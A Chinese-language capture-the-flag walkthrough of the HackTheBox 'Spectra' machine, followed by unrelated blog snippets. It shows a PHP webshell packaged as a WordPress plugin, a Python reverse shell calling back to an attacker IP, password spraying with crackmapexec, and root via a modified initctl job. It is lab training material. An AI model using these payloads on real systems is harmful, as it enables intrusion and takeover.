Linux/Spectra
Enumeration
nmap
第一次扫描发现系统对外开放了22,80和3306端口,端口详细信息如下

22端口运行着ssh,80端口还是http,不过不同的是打开了mysql的3306端口 TCP/80
进入首页,点击链接时,提示域名不能解析,需要在/etc/hosts中添加
10.10.10.229 spectra.htb

配置好后,点击Software Issue Tracker跳转到/main,可以看到该网站使用了wordpress

另一个链接Test会跳转至/testing/index.php,网站无法连接,显示数据库链接错误

直接访问/testing,会列出其他目录,但是wp-config.php文件似乎在服务器上使用nano编辑过,生成了.save文件

点击该文件并没有什么显示,但是查看源代码会展现很多内容,其中包括了wordpress的数据库信息

回到刚刚的/main页面,在页面底部有login链接,但是使用刚刚获取的用户名密码显示用户名无效

但是,使用administrator:devteam01却成功登录wordpress系统
Foothold
登录到wordpress后台

可以上传一个php文件作为新的插件
<?php
/*
Plugin Name: vegetable Plugin Version: 1.0.0
Author: vegetable Author URI: wordpress.org License: GPL2
*/
system($_REQUEST["cmd"]); ?>
将该php文件添加至zip

在wordpress后台,选择plugins→add new

然后选择刚才创建的shell.zip,再点击install now

跳转页面后再点击activate plugin

然后可以在插件列表中看到刚刚上传的插件

然后可以验证webshell是否成功上传

可以利用反向shell连接
访问
http://spectra.htb/main/wp-content/plugins/shell/shell.php?cmd=python%20-
c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.3%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
nc会监听到一个反向shell

升级shell

Lateral Movement
枚举系统发现了Chrome Os

Chrome OS 会将交互式登录用户的配置文件文件夹存储在/home/user/,但是却无法进入该文件

在/opt目录下有一个autologin.conf.prig

该脚本给出两条路径,但只有一个存在,其中的passwd文件似乎保存了一个密码

然后发现能登录的用户只有这几个

将这几个用户保存到一个文件中,形成用户名字典,然后利用crackmapexec程序看看哪个能成功登陆
crackmapexec ssh 10.10.10.229 -u user -p 'SummerHereWeCome!!' --continue-on-success

可以使用katie:SummerHereWeCome!!通过ssh登录系统

Privilege Escalation
使用sudo -l发现可以执行initctl,是init守护进程控制工具

使用id命令发现katie属于developers组

尝试搜索该组拥有的文件

test*.conf都是一样的

node.js文件来启动一个web

将/etc/init/test.conf的内容修改为
然后执行sudo initctl start test
之后,会在/tmp/vegetable中写入id,证明命令被执行

则可以往脚本中添加反向shell脚本
script exec id > /tmp/vegetableexport HOME=/srv echo $$ > /var/run/nodetest.pidexec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js end script

和刚才一样操作,之后就可以获取root权限

相关文章:
Linux/Spectra
Enumeration nmap 第一次扫描发现系统对外开放了22,80和3306端口,端口详细信息如下 22端口运行着ssh,80端口还是http,不过不同的是打开了mysql的3306端口 TCP/80 进入首页,点击链接时,提示域名不能解析&…...
C 嵌入式系统设计模式 08:硬件代理模式
本书的原著为:《Design Patterns for Embedded Systems in C ——An Embedded Software Engineering Toolkit 》,讲解的是嵌入式系统设计模式,是一本不可多得的好书。 本系列描述我对书中内容的理解。本文章描述访问硬件的设计模式之一&…...
【k8s配置与存储--持久化存储(PV、PVC、存储类)】
1、PV与PVC 介绍 持久卷(PersistentVolume,PV) 是集群中的一块存储,可以由管理员事先制备, 或者使用存储类(Storage Class)来动态制备。 持久卷是集群资源,就像节点也是集群资源一样…...
【Vite】解决Vite http proxy error: Error: connect ECONNREFUSED
今天写bug,发现了这个问题 我经过我一晚上的搜索努力,在github上找到了解决办法,不得不说,交友网站还是很好用的。 参考 这一行是关键代码。 因为我连的是本地后台服务,所以最后配置成这样 server: {open: true,pro…...
FPGA领域顶级学术会议
FPGA领域顶级学术会议主要有FPGA,FCCM,FPL和FPT。 1 FPGA 会议全名是: ACM/SIGDA International Symposium on Field-Programmable Gate Arrays 网站是:https://dl.acm.org/conference/fpga FPGA常年在美国举办,每年2月,偏FPGA基础研究; 该会议的论文免费下载。这个比…...
罗技鼠标滚轮模式介绍 | 鼠标滚轮异响 - 解决方案
滚轮模式介绍 针对罗技的滚轮模式进行介绍: 普通滚轮:滚动时有明显段落感,无法快速滚动。 智能滚轮:滚动力量较弱时,与普通滚轮无异;滚动力量大时,鼠标会自动减小滚轮阻尼,从而使滚…...
Scrapy与分布式开发(2.2):正则表达式
使用Python的re模块进行正则表达式操作详细讲解 一、引言 正则表达式是一种强大的文本处理工具,它使用特定的模式来搜索、匹配和替换文本。Python的re模块(正则表达式模块)提供了正则表达式匹配操作的所有功能。下面我们将详细讲解如何使用re模块进行正则表达式的操作。 …...
今年“全国爱耳日”主题确定!立聪堂助听器组织社区义诊
2024年3月3日是第二十五个“全国爱耳日”。 今年的活动主题定为“科技助听,共享美好生活”,旨在倡导全社会关注听力健康,并鼓励听力受损人群利用科技手段实现早期康复。 为响应这一主题,知名助听器验配连锁机构立聪堂迅速行动起…...
区块链智能合约开发
一.区块链的回顾 1.区块链 区块链实质上是一个去中心化、分布式的可进行交易的数据库或账本 特征: 去中心化:简单来说,在网络上一个或多个服务器瘫痪的情况下,应用或服务仍然能够持续地运行,这就是去中心化。服务和应用部署在…...
Android 启动流程及 init 进程解析
一、Android 启动流程概括 按下电源键触发开机,从 ROM 加载引导程序 BootLoader 到 RAM 中,BootLoader 执行启动 Linux kernel,然后启动第一个用户进程 init,init 进程的工作包括挂载文件、创建文件目录、设置 selinux 安全策略&…...
Java设计模式:核心概述(一)
在软件开发中,设计模式是一种被广泛认可的解决方案,用于解决在软件设计中经常遇到的一些特定问题。Java作为一种面向对象的编程语言,特别适合于应用各种设计模式。本文将带您深入了解Java中的设计模式,包括它们的定义、出现的原因…...
计算机网络:IP
引言: IP协议是互联网协议族中的核心协议之一,负责为数据包在网络中传输提供路由寻址。它定义了数据包如何在互联网上从源地址传输到目的地址的规则和流程。IP协议使得各种不同类型的网络设备能够相互通信,实现了全球范围内的信息交换。 目录…...
CSS中使用变量的两个函数var和calc
CSS/CSS3 变量var()函数和calc()函数计算的使用 var()变量 var变量的定义语法 : --变量名 (两个短横线加上变量名) calc() 函数计算 calc使用的时候有几个地方需要注意: 1. 运算符前后都需要保留一个空格 2. 任何长度值都可以使用calc()函数进行计算; 3. 支持 - …...
了解docker与k8s
随着 k8s 作为容器编排解决方案变得越来越流行,有些人开始拿 Docker 和 k8s 进行对比,不禁问道:Docker 不香吗? k8s 是 kubernetes 的缩写,8 代表中间的八个字符。 其实 Docker 和 k8s 并非直接的竞争对手两者相互依存…...
服务器防火墙的应用技术有哪些
服务器防火墙的应用技术有哪些 1.数据包过滤技术 数据包过滤是最基本的服务器防火墙技术之一,它根据一系列预定义规则过滤进出网络的数据包。数据包过滤器通常基于IP地址、端口号和协议类型等信息来判断数据包是否合法,如果不符合规则,则将被…...
打开 Camera app 出图,前几帧图像偏暗、偏色该怎样去避免?
1、问题背景 使用的安卓平台,客户的应用是要尽可能快的获取到1帧图像效果正常的图片。 但当打开 camera 启动出流后,前3-5帧图像是偏暗、偏色的,如下图所示,是抓取出流的前25帧图像, 前3帧颜色是偏蓝的,…...
SD-WAN技术:优化国内外服务器访问的关键
在全球化的商业环境中,企业经常需要在国内访问国外的服务器。然而,由于地理位置和网络架构的限制,这种跨国访问往往会遇到速度慢、延迟高等问题。SD-WAN(软件定义广域网)技术的兴起,为企业提供了一种新的解…...
【MySQL】学习和总结标量子查询
🌈个人主页: Aileen_0v0 🔥热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 💫个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-kLo6jykc7AcEVEQk {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…...
vue3第三节(v-model 执行原理)
特殊说明: 以下vue3语法是基于 3.4之前版本进行使用的,3.4之后的版本 引入了 defineModel 宏,后续会介绍defineModel 1、vue3 与vue2 中v-model区别 vue3 中v-model绑定的不再是value,而是modelValue,接收的方法也不再…...
RunnerGo UI自动化测试脚本如何配置
RunnerGo提供从API管理到API性能再到可视化的API自动化、UI自动化测试功能模块,覆盖了整个产品测试周期。 RunnerGo UI自动化基于Selenium浏览器自动化方案构建,内嵌高度可复用的测试脚本,测试团队无需复杂的代码编写即可开展低代码的自动化…...
UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
synchronized 学习
学习源: https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖,也要考虑性能问题(场景) 2.常见面试问题: sync出…...
进程地址空间(比特课总结)
一、进程地址空间 1. 环境变量 1 )⽤户级环境变量与系统级环境变量 全局属性:环境变量具有全局属性,会被⼦进程继承。例如当bash启动⼦进程时,环 境变量会⾃动传递给⼦进程。 本地变量限制:本地变量只在当前进程(ba…...
【WiFi帧结构】
文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成:MAC头部frame bodyFCS,其中MAC是固定格式的,frame body是可变长度。 MAC头部有frame control,duration,address1,address2,addre…...
uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖
在前面的练习中,每个页面需要使用ref,onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入,需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...
让AI看见世界:MCP协议与服务器的工作原理
让AI看见世界:MCP协议与服务器的工作原理 MCP(Model Context Protocol)是一种创新的通信协议,旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天,MCP正成为连接AI与现实世界的重要桥梁。…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...
C# 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
